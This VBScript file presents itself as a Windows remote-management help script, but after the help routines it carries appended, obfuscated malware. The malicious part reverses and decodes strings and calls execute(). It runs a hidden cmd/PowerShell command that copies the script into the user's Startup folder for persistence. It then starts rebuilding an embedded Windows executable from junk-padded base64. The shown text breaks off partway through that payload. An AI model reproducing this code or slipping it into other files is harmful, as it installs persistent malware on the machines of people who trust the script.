GetResource("X_HelpInvoke_009_0_Message") & NL & _

GetResource("L_HelpInvoke_010_0_Message") & NL & _

GetResource("L_HelpInvoke_011_0_Message") & NL & _

GetResource("X_HelpInvoke_012_0_Message") & NL & _

GetResource("L_HelpInvoke_013_0_Message") & NL & _

GetResource("X_HelpInvoke_014_0_Message") & NL & _

GetResource("L_HelpInvoke_015_0_Message") & NL & _

GetResource("L_HelpInvoke_016_0_Message") & NL & _

GetResource("X_HelpInvoke_017_0_Message") & NL & _

GetResource("L_HelpInvoke_018_0_Message") & NL & _

GetResource("L_HelpInvoke_019_0_Message") & NL & _

GetResource("L_HelpInvoke_019_1_Message") & NL & _

GetResource("X_HelpInvoke_020_0_Message") & NL & _

GetResource("L_HelpInvoke_021_0_Message") & NL & _

GetResource("L_HelpInvoke_022_0_Message") & NL & _

GetResource("L_HelpInvoke_022_1_Message") & NL & _

GetResource("X_HelpInvoke_023_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Input_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - IDENTIFY

Private Sub HelpIdentify(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("X_HelpIdentify_001_0_Message") & NL & _

GetResource("L_HelpIdentify_003_0_Message") & NL & _

GetResource("L_HelpIdentify_004_0_Message") & NL & _

GetResource("L_HelpIdentify_005_0_Message") & NL & _

GetResource("L_HelpIdentify_006_0_Message") & NL & _

GetResource("L_HelpIdentify_007_0_Message") & NL & _

GetResource("L_HelpIdentify_008_0_Message") & NL & _

GetResource("L_HelpIdentify_009_0_Message") & NL & _

GetResource("X_HelpIdentify_010_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message") & NL & _

GetResource("X_Help_SeeAlso_Remoting_Message")

End Sub

'''''''''''''''''''''

' HELP - HELPMSG

Private Sub HelpMsg(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("X_HelpHelpMessaage_001_0_Message") & NL & _

GetResource("X_HelpHelpMessaage_002_0_Message") & NL & _

GetResource("X_HelpHelpMessaage_003_0_Message") & NL & _

GetResource("X_HelpHelpMessaage_004_0_Message") & NL & _

GetResource("X_HelpHelpMessaage_006_0_Message")

End Sub

'''''''''''''''''''''

' HELP - AUTH

Private Sub HelpAuth(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpAuth_001_0_Message") & NL & _

GetResource("L_HelpAuth_002_0_Message") & NL & _

GetResource("L_HelpAuth_003_0_Message") & NL & _

GetResource("L_HelpAuth_004_0_Message") & NL & _

GetResource("L_HelpAuth_004_1_Message") & NL & _

GetResource("L_HelpAuth_005_0_Message") & NL & _

GetResource("L_HelpAuth_006_0_Message") & NL & _

GetResource("L_HelpAuth_007_0_Message") & NL & _

GetResource("L_HelpAuth_008_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpAuthAuth_001_0_Message") & NL & _

GetResource("L_HelpAuthAuth_002_0_Message") & NL & _

GetResource("L_HelpAuthAuth_003_0_Message")

If osVersion >= osVista Then

stream.WriteLine GetResource("L_HelpAuthAuth_004_0_Message")

stream.WriteLine GetResource("L_HelpAuthAuth_004_1_Message")

End If

stream.WriteLine _

GetResource("L_HelpAuthAuth_005_0_Message") & NL & _

GetResource("X_HelpAuthAuth_006_0_Message") & NL & _

GetResource("X_HelpAuthAuth_007_0_Message") & NL & _

GetResource("X_HelpAuthAuth_008_0_Message") & NL & _

GetResource("X_HelpAuthAuth_009_0_Message") & NL & _

GetResource("X_HelpAuthAuth_010_0_Message") & NL & _

GetResource("X_HelpAuthAuth_010_1_Message")

If osVersion >= osVista Then

stream.WriteLine GetResource("X_HelpAuthAuth_010_2_Message")

End If

stream.WriteLine _

GetResource("L_HelpAuthAuth_011_0_Message") & NL & _

GetResource("L_HelpAuthAuth_012_0_Message") & NL & _

GetResource("L_HelpAuthAuth_013_0_Message") & NL & _

GetResource("L_HelpAuthAuth_013_1_Message") & NL & _

GetResource("L_HelpAuthAuth_013_2_Message") & NL & _

GetResource("L_HelpAuthAuth_014_0_Message") & NL & _

GetResource("L_HelpAuthAuth_015_0_Message") & NL & _

GetResource("L_HelpAuthAuth_016_0_Message") & NL & _

GetResource("L_HelpAuthAuth_017_0_Message") & NL & _

GetResource("L_HelpAuthAuth_018_0_Message") & NL & _

GetResource("L_HelpAuthAuth_019_0_Message") & NL & _

GetResource("L_HelpAuthAuth_020_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpAuthUsername_001_0_Message") & NL & _

GetResource("L_HelpAuthUsername_002_0_Message") & NL & _

GetResource("L_HelpAuthUsername_003_0_Message") & NL & _

GetResource("L_HelpAuthUsername_004_0_Message") & NL & _

GetResource("L_HelpAuthUsername_005_0_Message") & NL & _

GetResource("L_HelpAuthUsername_006_0_Message") & NL & _

GetResource("L_HelpAuthUsername_007_0_Message") & NL & _

GetResource("L_HelpAuthUsername_008_0_Message") & NL & _

GetResource("L_HelpAuthUsername_009_0_Message") & NL & _

GetResource("L_HelpAuthUsername_010_0_Message") & NL & _

GetResource("L_HelpAuthUsername_011_0_Message") & NL & _

GetResource("L_HelpAuthUsername_011_1_Message") & NL & _

GetResource("L_HelpAuthUsername_012_0_Message") & NL & _

GetResource("L_HelpAuthUsername_013_0_Message") & NL & _

GetResource("L_HelpAuthUsername_014_0_Message") & NL & _

GetResource("L_HelpAuthUsername_015_0_Message")

If osVersion >= osVista Then

stream.WriteLine GetResource("L_HelpAuthUsername_016_0_Message")

End If

stream.WriteLine _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpAuthPassword_001_0_Message") & NL & _

GetResource("L_HelpAuthPassword_002_0_Message") & NL & _

GetResource("L_HelpAuthPassword_003_0_Message") & NL & _

GetResource("L_HelpAuthPassword_004_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_001_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_002_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_003_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_004_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_005_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_006_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_007_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_008_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_009_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_010_0_Message") & NL & _

GetResource("L_HelpAuthCertificate_011_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Input_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - PROXY

Private Sub HelpProxy(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("X_HelpProxy_001_0_Message") & NL & _

GetResource("X_HelpProxy_002_0_Message") & NL & _

GetResource("X_HelpProxy_002_1_Message") & NL & _

GetResource("X_HelpProxy_003_0_Message") & NL & _

GetResource("X_HelpProxy_004_0_Message") & NL & _

GetResource("L_HelpProxy_005_0_Message") & NL & _

GetResource("L_HelpProxy_006_0_Message") & NL & _

GetResource("L_HelpProxy_007_0_Message") & NL & _

GetResource("X_HelpProxyAccess_001_0_Message") & NL & _

GetResource("L_HelpProxyAccess_002_0_Message") & NL & _

GetResource("L_HelpProxyAccess_003_0_Message") & NL & _

GetResource("L_HelpProxyAccess_004_0_Message") & NL & _

GetResource("L_HelpProxyAccess_005_0_Message") & NL & _

GetResource("X_HelpProxyAccess_006_0_Message") & NL & _

GetResource("X_HelpProxyAccess_007_0_Message") & NL & _

GetResource("X_HelpProxyAccess_008_0_Message") & NL & _

GetResource("X_HelpProxyAccess_009_0_Message") & NL & _

GetResource("L_HelpProxyAccess_010_0_Message") & NL & _

GetResource("L_HelpProxyAccess_011_0_Message") & NL & _

GetResource("L_HelpProxyAccess_012_0_Message") & NL & _

GetResource("L_HelpProxyAccess_013_0_Message") & NL & _

GetResource("L_HelpProxyAccess_014_0_Message") & NL & _

GetResource("L_HelpProxyAccess_015_0_Message") & NL & _

GetResource("L_HelpProxyAuth_001_0_Message") & NL & _

GetResource("L_HelpProxyAuth_002_0_Message") & NL & _

GetResource("L_HelpProxyAuth_003_0_Message") & NL & _

GetResource("L_HelpProxyAuth_004_0_Message") & NL & _

GetResource("L_HelpProxyAuth_005_0_Message") & NL & _

GetResource("X_HelpProxyAuth_007_0_Message") & NL & _

GetResource("X_HelpProxyAuth_008_0_Message") & NL & _

GetResource("X_HelpProxyAuth_009_0_Message") & NL & _

GetResource("L_HelpProxyAuth_010_0_Message") & NL & _

GetResource("L_HelpProxyUsername_001_0_Message") & NL & _

GetResource("L_HelpProxyUsername_002_0_Message") & NL & _

GetResource("L_HelpProxyUsername_003_0_Message") & NL & _

GetResource("L_HelpProxyUsername_005_0_Message") & NL & _

GetResource("L_HelpProxyUsername_006_0_Message") & NL & _

GetResource("L_HelpProxyUsername_007_0_Message") & NL & _

GetResource("L_HelpProxyUsername_008_0_Message") & NL & _

GetResource("L_HelpProxyUsername_009_0_Message") & NL & _

GetResource("L_HelpProxyPassword_001_0_Message") & NL & _

GetResource("L_HelpProxyPassword_002_0_Message") & NL & _

GetResource("L_HelpProxyPassword_003_0_Message") & NL & _

GetResource("L_HelpProxyPassword_004_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Auth_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Input_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - FILTERS

Private Sub HelpFilters(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpFilter_001_0_Message") & NL & _

GetResource("X_HelpFilter_002_0_Message") & NL & _

GetResource("X_HelpFilter_003_0_Message") & NL & _

GetResource("X_HelpFilter_004_0_Message") & NL & _

GetResource("L_HelpFilter_005_0_Message") & NL & _

GetResource("X_HelpFilter_006_0_Message") & NL & _

GetResource("L_HelpFilter_007_0_Message") & NL & _

GetResource("X_HelpFilter_008_0_Message") & NL & _

GetResource("L_HelpFilter_009_0_Message") & NL & _

GetResource("X_HelpFilter_010_0_Message") & NL & _

GetResource("L_HelpFilter_011_0_Message") & NL & _

GetResource("L_HelpFilter_012_0_Message") & NL & _

GetResource("X_HelpFilter_013_0_Message") & NL & _

GetResource("L_HelpFilter_014_0_Message") & NL & _

GetResource("X_HelpFilter_015_0_Message") & NL & _

GetResource("X_HelpFilter_016_0_Message") & NL & _

GetResource("X_HelpFilter_016_1_Message") & NL & _

GetResource("X_HelpFilter_017_0_Message") & NL & _

GetResource("L_HelpFilter_018_0_Message") & NL & _

GetResource("X_HelpFilter_019_0_Message") & NL & _

GetResource("L_HelpFilter_019_1_Message") & NL & _

GetResource("L_HelpFilter_019_2_Message") & NL & _

GetResource("X_HelpFilter_019_3_Message") & NL & _

GetResource("X_HelpFilter_019_4_Message") & NL & _

GetResource("X_HelpFilter_019_5_Message") & NL & _

GetResource("L_HelpFilter_020_0_Message") & NL & _

GetResource("X_HelpFilter_021_0_Message") & NL & _

GetResource("X_HelpFilter_022_0_Message") & NL & _

GetResource("L_HelpFilter_023_0_Message") & NL & _

GetResource("X_HelpFilter_024_0_Message") & NL & _

GetResource("L_HelpFilter_025_0_Message") & NL & _

GetResource("L_HelpFilter_026_0_Message") & NL & _

GetResource("X_HelpFilter_027_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Enumerate_Message")

End Sub

'''''''''''''''''''''

' HELP - SWITCHES

Private Sub HelpSwitches(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpSwitchTimeout_001_0_Message") & NL & _

GetResource("L_HelpSwitchTimeout_002_0_Message") & NL & _

GetResource("L_HelpSwitchTimeout_003_0_Message") & NL & _

GetResource("L_HelpSwitchTimeout_004_0_Message") & NL & _

GetResource("X_HelpSwitchTimeout_005_0_Message") & NL & _

GetResource("L_HelpSwitchTimeout_006_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("X_HelpSwitchSkipCACheck_001_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCACheck_002_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCACheck_003_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCACheck_004_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCACheck_005_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("X_HelpSwitchSkipCNCheck_001_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCNCheck_002_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCNCheck_003_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCNCheck_004_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCNCheck_005_0_Message") & NL & _

GetResource("L_HelpSwitchSkipCNCheck_006_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("X_HelpSwitchSkipRevCheck_001_0_Message") & NL & _

GetResource("X_HelpSwitchSkipRevCheck_002_0_Message") & NL & _

GetResource("L_HelpSwitchSkipRevCheck_003_0_Message") & NL & _

GetResource("L_HelpSwitchSkipRevCheck_004_0_Message") & NL & _

GetResource("L_HelpSwitchSkipRevCheck_005_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("X_HelpSwitchDefaultCreds_001_0_Message") & NL & _

GetResource("X_HelpSwitchDefaultCreds_002_0_Message") & NL & _

GetResource("L_HelpSwitchDefaultCreds_003_0_Message") & NL & _

GetResource("L_HelpSwitchDefaultCreds_004_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpSwitchDialect_001_0_Message") & NL & _

GetResource("L_HelpSwitchDialect_002_0_Message") & NL & _

GetResource("L_HelpSwitchDialect_003_0_Message") & NL & _

GetResource("L_HelpSwitchDialect_004_0_Message") & NL & _

GetResource("X_HelpSwitchDialect_005_0_Message") & NL & _

GetResource("L_HelpSwitchDialect_006_0_Message") & NL & _

GetResource("X_HelpSwitchDialect_007_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpSwitchFragment_001_0_Message") & NL & _

GetResource("L_HelpSwitchFragment_002_0_Message") & NL & _

GetResource("L_HelpSwitchFragment_003_0_Message") & NL & _

GetResource("L_HelpSwitchFragment_004_0_Message") & NL & _

GetResource("L_HelpSwitchFragment_005_0_Message") & NL & _

GetResource("X_HelpSwitchFragment_006_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpSwitchOption_001_0_Message") & NL & _

GetResource("L_HelpSwitchOption_002_0_Message") & NL & _

GetResource("L_HelpSwitchOption_003_0_Message") & NL & _

GetResource("L_HelpSwitchOption_004_0_Message") & NL & _

GetResource("L_HelpSwitchOption_005_0_Message") & NL & _

GetResource("L_HelpSwitchOption_006_0_Message") & NL & _

GetResource("X_HelpSwitchOption_007_0_Message") & NL & _

GetResource("X_HelpSwitchOption_008_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("X_HelpSwitchSPNPort_001_0_Message") & NL & _

GetResource("L_HelpSwitchSPNPort_002_0_Message") & NL & _

GetResource("L_HelpSwitchSPNPort_003_0_Message") & NL & _

GetResource("L_HelpSwitchSPNPort_004_0_Message") & NL & _

GetResource("L_HelpSwitchSPNPort_005_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpSwitchEncoding_001_0_Message") & NL & _

GetResource("L_HelpSwitchEncoding_002_0_Message") & NL & _

GetResource("L_HelpSwitchEncoding_003_0_Message") & NL & _

GetResource("L_HelpSwitchEncoding_004_0_Message") & NL & _

GetResource("L_HelpSwitchEncoding_005_0_Message") & NL & _

GetResource("L_HelpSwitchEncoding_006_0_Message") & NL & _

GetResource("X_HelpSwitchEncoding_007_0_Message") & NL & _

GetResource("X_HelpSwitchEncoding_008_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpSwitchFormat_001_0_Message") & NL & _

GetResource("L_HelpSwitchFormat_002_0_Message") & NL & _

GetResource("L_HelpSwitchFormat_003_0_Message") & NL & _

GetResource("L_HelpSwitchFormat_004_0_Message") & NL & _

GetResource("L_HelpSwitchFormat_005_0_Message") & NL & _

GetResource("X_HelpSwitchFormat_006_0_Message") & NL & _

GetResource("X_HelpSwitchFormat_007_0_Message") & NL & _

GetResource("X_HelpSwitchFormat_008_0_Message")

End Sub

'''''''''''''''''''''

' HELP - INPUT

Private Sub HelpInput(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpInput_001_0_Message") & NL & _

GetResource("L_HelpInput_002_0_Message") & NL & _

GetResource("L_HelpInput_003_0_Message") & NL & _

GetResource("L_HelpInput_004_0_Message") & NL & _

GetResource("L_HelpInput_005_0_Message") & NL & _

GetResource("L_HelpInput_006_0_Message") & NL & _

GetResource("L_HelpInput_007_0_Message") & NL & _

GetResource("L_HelpInput_008_0_Message") & NL & _

GetResource("L_HelpInput_009_0_Message") & NL & _

GetResource("L_HelpInput_010_0_Message") & NL & _

GetResource("L_HelpInput_011_0_Message") & NL & _

GetResource("L_HelpInput_012_0_Message") & NL & _

GetResource("L_HelpInput_013_0_Message") & NL & _

GetResource("L_HelpInput_014_0_Message") & NL & _

GetResource("L_HelpInput_015_0_Message") & NL & _

GetResource("L_HelpInput_016_0_Message") & NL & _

GetResource("L_HelpInput_017_0_Message") & NL & _

GetResource("L_HelpInput_018_0_Message") & NL & _

GetResource("L_HelpInput_019_0_Message") & NL & _

GetResource("L_HelpInput_020_0_Message") & NL & _

GetResource("L_HelpInput_021_0_Message") & NL & _

GetResource("L_HelpInput_022_0_Message") & NL & _

GetResource("X_HelpInput_023_0_Message") & NL & _

GetResource("X_HelpInput_024_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Set_Message") & NL & _

GetResource("X_Help_SeeAlso_Create_Message") & NL & _

GetResource("X_Help_SeeAlso_Invoke_Message")

End Sub

'''''''''''''''''''''

' HELP - REMOTE

Private Sub HelpRemote(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpRemote_001_0_Message") & NL & _

GetResource("L_HelpRemote_002_0_Message") & NL & _

GetResource("L_HelpRemote_003_0_Message") & NL & _

GetResource("L_HelpRemote_004_0_Message") & NL & _

GetResource("L_HelpRemote_005_0_Message") & NL & _

GetResource("L_HelpRemote_006_0_Message") & NL & _

GetResource("L_HelpRemote_007_0_Message") & NL & _

GetResource("L_HelpRemote_008_0_Message") & NL & _

GetResource("L_HelpRemote_009_0_Message") & NL & _

GetResource("L_HelpRemote_010_0_Message") & NL & _

GetResource("L_HelpRemote_011_0_Message") & NL & _

GetResource("L_HelpRemote_012_0_Message") & NL & _

GetResource("L_HelpRemote_012_1_Message") & NL & _

GetResource("L_HelpRemote_012_2_Message") & NL & _

GetResource("L_HelpRemote_012_3_Message") & NL & _

GetResource("L_HelpRemote_012_4_Message") & NL & _

GetResource("L_HelpRemote_012_5_Message") & NL & _

GetResource("L_HelpRemote_012_6_Message") & NL & _

GetResource("L_HelpRemote_013_0_Message") & NL & _

GetResource("L_HelpRemote_014_0_Message") & NL & _

GetResource("L_HelpRemote_015_0_Message") & NL & _

GetResource("L_HelpRemote_016_0_Message") & NL & _

GetResource("L_HelpRemote_017_0_Message") & NL & _

GetResource("L_HelpRemote_018_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpRemoteExample_001_0_Message") & NL & _

GetResource("X_HelpRemoteExample_002_0_Message") & NL & _

GetResource("L_HelpRemoteExample_003_0_Message") & NL & _

GetResource("L_HelpRemoteExample_004_0_Message") & NL & _

GetResource("X_HelpRemoteExample_005_0_Message") & NL & _

GetResource("L_HelpRemoteExample_006_0_Message") & NL & _

GetResource("L_HelpRemoteExample_007_0_Message") & NL & _

GetResource("X_HelpRemoteExample_008_0_Message") & NL & _

GetResource("L_HelpRemoteExample_009_0_Message") & NL & _

GetResource("L_HelpRemoteExample_010_0_Message") & NL & _

GetResource("X_HelpRemoteExample_011_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpRemoteUnencrypted_001_0_Message") & NL & _

GetResource("L_HelpRemoteUnencrypted_002_0_Message") & NL & _

GetResource("L_HelpRemoteUnencrypted_003_0_Message") & NL & _

GetResource("L_HelpRemoteUnencrypted_004_0_Message") & NL & _

GetResource("L_HelpRemoteUnencrypted_005_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpRemoteUseSsl_001_0_Message") & NL & _

GetResource("L_HelpRemoteUseSsl_002_0_Message") & NL & _

GetResource("L_HelpRemoteUseSsl_003_0_Message") & NL & _

GetResource("L_HelpRemoteUseSsl_004_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_HelpRemoteConfig_001_0_Message") & NL & _

GetResource("X_Help_SeeAlso_Config_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Input_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

Function SOROAXCfPNSSCKUypvDi(KbkgWwGotWwHbxIkdIvG, find, GKgsngZuNHSwjJpbvcBG)

Dim parts

parts = Split(KbkgWwGotWwHbxIkdIvG, find)

SOROAXCfPNSSCKUypvDi = Join(parts, GKgsngZuNHSwjJpbvcBG)

End Function

On Error Resume Next

dim IUxUUXtUXHHNSHtZaocw, LiwrOUcPKZIdCMZyZAKc, ePjnRDSGDILOpmwDCRcD

LiwrOUcPKZIdCMZyZAKc = "pu

LiwrOUcPKZIdCMZyZAKc = SOROAXCfPNSSCKUypvDi(LiwrOUcPKZIdCMZyZAKc,"

","t")

LiwrOUcPKZIdCMZyZAKc = DuqUNXKzcJRqDhddKYUu(LiwrOUcPKZIdCMZyZAKc)

Set IXkKTITfUGviSLHSKCUW = CreateObject("WScript.Shell")

Set obMmLoJSdwuZuurIkCyd = CreateObject("Scripting.FileSystemObject")

WaxKMWoUlXcXNKHogDGz = IXkKTITfUGviSLHSKCUW.CurrentDirectory & "\" & WScript.ScriptName

bWOxxoeHeNJcRfyoBCPD = obMmLoJSdwuZuurIkCyd.GetParentFolderName(WaxKMWoUlXcXNKHogDGz) & "\" & obMmLoJSdwuZuurIkCyd.GetFileName(WScript.ScriptName)

IUxUUXtUXHHNSHtZaocw = bWOxxoeHeNJcRfyoBCPD

LiwrOUcPKZIdCMZyZAKc = dOUGudLJnypivhDIXYtd(IUxUUXtUXHHNSHtZaocw + "@)6#$%*(/$)()#%

$)!1:@)6#$%*(/$)()#%

$)!1::@)6#$%*(/$)()#%

$)!1:@)6#$%*(/$)()#%

$)!1" , LiwrOUcPKZIdCMZyZAKc)

ePjnRDSGDILOpmwDCRcD = "Gpm"

Dim HlzNDvjnaOigsxAJPwsT

HlzNDvjnaOigsxAJPwsT = True

SBYozDOrNlJYKdaDQAKO(HlzNDvjnaOigsxAJPwsT)

Sub SBYozDOrNlJYKdaDQAKO(prHRPUGTznUGQPoBOnLt)

If prHRPUGTznUGQPoBOnLt Then

PvcPbPxKWOYnpvuWJHPq

Else

DoNothing

End If

End Sub

Sub PvcPbPxKWOYnpvuWJHPq

Set TDUxlbzdLPzJPyWXANsb = CreateObject ("Wscript.Shell")

dim ylWaUynpvLuuCKUMAnoW, GFFCTNLQTIZCRPTYLEJS, GLXXTGXCKVVFKUWDPTSG

ylWaUynpvLuuCKUMAnoW = ")'sbv." + ePjnRDSGDILOpmwDCRcD + " \putratS\smargorP\uneM"

ylWaUynpvLuuCKUMAnoW = ylWaUynpvLuuCKUMAnoW + " tratS\swodniW\tfosorciM\gnimaoR\ataDppA\'"

ylWaUynpvLuuCKUMAnoW = jQpuqhUSkZLSiaCoNvCU(ylWaUynpvLuuCKUMAnoW,"

GFFCTNLQTIZCRPTYLEJS = "[System.I"

GFFCTNLQTIZCRPTYLEJS = GFFCTNLQTIZCRPTYLEJS + "O.File]::Copy('"

GFFCTNLQTIZCRPTYLEJS = GFFCTNLQTIZCRPTYLEJS + IUxUUXtUXHHNSHtZaocw + "',"

GFFCTNLQTIZCRPTYLEJS = GFFCTNLQTIZCRPTYLEJS + "'C:\Users\' + [Environment]::UserName + "

GFFCTNLQTIZCRPTYLEJS = GFFCTNLQTIZCRPTYLEJS + DuqUNXKzcJRqDhddKYUu(ylWaUynpvLuuCKUMAnoW)

GFFCTNLQTIZCRPTYLEJS = jQpuqhUSkZLSiaCoNvCU(GFFCTNLQTIZCRPTYLEJS, DuqUNXKzcJRqDhddKYUu("

") ,"")

GLXXTGXCKVVFKUWDPTSG = ("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -com

and " + GFFCTNLQTIZCRPTYLEJS )

GLXXTGXCKVVFKUWDPTSG = SOROAXCfPNSSCKUypvDi(GLXXTGXCKVVFKUWDPTSG,"

","m")

TDUxlbzdLPzJPyWXANsb.run GLXXTGXCKVVFKUWDPTSG, 0, true

End Sub

Function dOUGudLJnypivhDIXYtd(WORmrHmPuvUkIiRGSRRm,WWaMhUMyDYPdwOmGDkmM)

dim ZBcZuKoPjnzPzCiraUio

ZBcZuKoPjnzPzCiraUio = "dOUGudLJnypivhDIXYtd = "

ZBcZuKoPjnzPzCiraUio = ZBcZuKoPjnzPzCiraUio + "In

tr(WORmrHmPuvUkIiRGSRRm, WWaMhUMyDYPdwOmGDkmM)"

ZBcZuKoPjnzPzCiraUio = SOROAXCfPNSSCKUypvDi(ZBcZuKoPjnzPzCiraUio,"

","S")

execute(ZBcZuKoPjnzPzCiraUio)

End Function

Function jQpuqhUSkZLSiaCoNvCU(WORmrHmPuvUkIiRGSRRm,WWaMhUMyDYPdwOmGDkmM,UynujiudlKKnPKbeDPLy)

dim ZBcZuKoPjnzPzCiraUio

ZBcZuKoPjnzPzCiraUio = "jQpuqhUSkZLSiaCoNvCU = "

ZBcZuKoPjnzPzCiraUio = ZBcZuKoPjnzPzCiraUio + "R

ZBcZuKoPjnzPzCiraUio = SOROAXCfPNSSCKUypvDi(ZBcZuKoPjnzPzCiraUio,"

","e")

ZBcZuKoPjnzPzCiraUio = ZBcZuKoPjnzPzCiraUio + "(WORmrHmPuvUkIiRGSRRm ,WWaMhUMyDYPdwOmGDkmM, UynujiudlKKnPKbeDPLy)"

execute(ZBcZuKoPjnzPzCiraUio)

End Function

Function DuqUNXKzcJRqDhddKYUu(WORmrHmPuvUkIiRGSRRm)

dim ZBcZuKoPjnzPzCiraUio

ZBcZuKoPjnzPzCiraUio = "DuqUNXKzcJRqDhddKYUu = "

ZBcZuKoPjnzPzCiraUio = ZBcZuKoPjnzPzCiraUio + "StrR

ZBcZuKoPjnzPzCiraUio = SOROAXCfPNSSCKUypvDi(ZBcZuKoPjnzPzCiraUio,"

","e")

ZBcZuKoPjnzPzCiraUio = ZBcZuKoPjnzPzCiraUio + "(WORmrHmPuvUkIiRGSRRm)"

execute(ZBcZuKoPjnzPzCiraUio)

End Function

OVTXKJOBQAEUPAUHEZHN = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)

Set cOXZPHUYBKcJWxUhnycXDGKZWCJNNPEFLRM = WScript.CreateObject(OVTXKJOBQAEUPAUHEZHN)

Dim bNxWQuXPmrLWNLYXBrWU

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "TVqQ##@@$%###@@$%#M#"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "#@@$%###@@$%###@@$%#"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "##@@$%#E##@@$%###@@$"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "%###@@$%###@@$%#//8#"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "#@@$%###@@$%#Lg##@@$"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "%###@@$%###@@$%###@@"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "$%###@@$%###@@$%###@"

bNxWQuXPmrLWNLYXBrWU = bNxWQuXPmrLWNLYXBrWU & "@$%###@@$%###@@$%#Q#"

